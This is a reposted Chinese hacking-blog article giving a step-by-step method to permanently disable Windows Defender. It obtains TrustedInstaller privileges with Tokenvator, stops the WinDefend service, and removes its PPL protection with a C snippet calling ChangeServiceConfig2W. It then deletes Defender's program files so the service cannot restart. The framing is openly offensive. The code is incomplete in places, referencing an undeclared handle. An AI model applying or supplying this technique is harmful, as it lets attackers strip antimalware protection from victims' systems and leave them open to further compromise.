记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

绕过ppl保护关闭Windows Defender【文末赠书】

2022-04-27 09:42

描述

可以关闭Windows Defender服务并通过提升权限删除ppl保护,然后删除Windows Defender中的DLL和其他文件,使Windows Defender服务无法运行,从而导致Windows Defender拒绝服务。

攻击步骤

1.将权限升级到trustedinstaller

我们使用受信任的安装程序组令牌自动窃取系统令牌,以提升到受信任的安装程序权限,

在这里,我们使用一个开源工具来利用它:


https://github.com/0xbadjuju/Tokenvator.

提权到TrustedInstaller并使用这个权限打开一个新的CMD.exe

同时这个cmd.exe也拥有TrustedInstaller权限。

2.关闭Windows Defender服务

这个其实并不是漏洞,因为我们的administrator权限也可以直接临时关闭Windows Defender服务。

但是这样关闭Windows Defender服务可以手工打开和重启会自动打开,我们想要的是永远关闭Windows Defender服务,在黑客的想法中就是目标无论如何都没有办法再次启动Windows Defender服务,当然重装系统除外。哈哈哈....

3.移除 PsProtectSignerAntimalware-Light 保护

关于“保护”的快速背景:

保护进程首先出现在 windows vista 中,作为对关键 windows 用户模式服务的增强,后来在 windows 8.1 中演变为保护进程 (PPL).一般来说可执行文件必须使用特殊证书进行签名,然后才有可能使用保护进程 (PPL)。

在微软文档中我们可以知道:


https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-changeserviceconfig2w

只要我们对服务对象有足够的访问权限,就可以更改服务保护。也就是说我们可以关闭Windows Defender服务的PPL。经过我们测试知道服务 ACL 根本不允许 SYSTEM 用户和管理员组修改或停止 Windows Defender 服务。但它允许 WinDefend 和 TrustedInstaller 修改或停止 Windows Defender 服务的ppl,那么上面我们拥有了完整的TrustedInstaller权限。

那么我们可以禁用Windows Defender 服务的PsProtectSignerAntimalware-Light,然后可以修改和删除Windows Defender的运行必要组件来达到使永远关闭Windows Defender服务的目的。

Windows Defender的文件保存路径为:


C:\Program Files\Windows Defender
C:\Program Files\Windows Defender Advanced Threat Protection
C:\Program Files (x86)\Windows Defender

在有PPL的情况下我们无法对这些文件进行任何修改。

同样在TrustedInstaller权限中也无法进行修改等等操作。

那么我们可以使用TrustedInstaller权限通过ChangeServiceConfig2W来停止PsProtectSignerAntimalware-Light 保护,然后修改和删除Windows Defender的运行必要组件来达到使永远关闭Windows Defender服务的目的。


SC_HANDLE tt = OpenSCManager(NULL, NULL, GENERIC_READ);//建立服务控制管理器的连接
SC_HANDLE windefend_svc = OpenServiceW(tt, L"WinDefend", SERVICE_START | SERVICE_STOP | GENERIC_READ | SERVICE_CHANGE_CONFIG | SERVICE_USER_DEFINED_CONTROL);
//打开一个已经存在的服务 打开wdf的服务
if (windefend_svc == NULL) {
printf("[-] Failed to open WinDefend service.");
return 1;
}
printf("Done.");
SERVICE_STATUS svc_status;
if (!ControlService(windefend_svc, SERVICE_CONTROL_STOP, &svc_status)) {
//停止WDF服务
printf("[-] Failed to stop WinDefend service :(");
return 1;
}
printf("[+] Successfully sent service stop control.");
SERVICE_LAUNCH_PROTECTED_INFO info;
DWORD ret_sz = 0;
QueryServiceConfig2W(windefend_svc, SERVICE_CONFIG_LAUNCH_PROTECTED, (LPBYTE)&info, sizeof(SERVICE_LAUNCH_PROTECTED_INFO), &ret_sz);
//检索WDF服务的可选配置参数。
if (info.dwLaunchProtected == SERVICE_LAUNCH_PROTECTED_NONE)
goto WaitDefender;
info.dwLaunchProtected = SERVICE_LAUNCH_PROTECTED_NONE;
if (!ChangeServiceConfig2W(windefend_svc, SERVICE_CONFIG_LAUNCH_PROTECTED, &info)) {
printf("[-] Failed to remove PsProtectSignerAntimalware-Light from WinDefend service :(");
return 1;
}
printf("[+] Successfully removed PsProtectSignerAntimalware-Light from WinDefend service.");
WaitDefender:
printf("[*] Waiting WinDefend to stop .!");
WaitForSingleObject(hwindefend, INFINITE);
CloseHandle(hwindefend);
printf("[!] Attempting to unload WdFilter.sys ... ");

然后修改修改和删除Windows Defender的运行必要组件来达到使永远关闭Windows Defender服务的目的。

以上技术文案转载于黑白天实验室。


知识来源: https://www.wangan.com/p/7fy7f4eeba7f33c0

阅读:40689 | 评论:0 | 标签:windows 保护

想收藏或者和大家分享这篇好文章→复制链接地址

“绕过ppl保护关闭Windows Defender【文末赠书】”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

↓赞助商 🙇🧎

标签云 ☁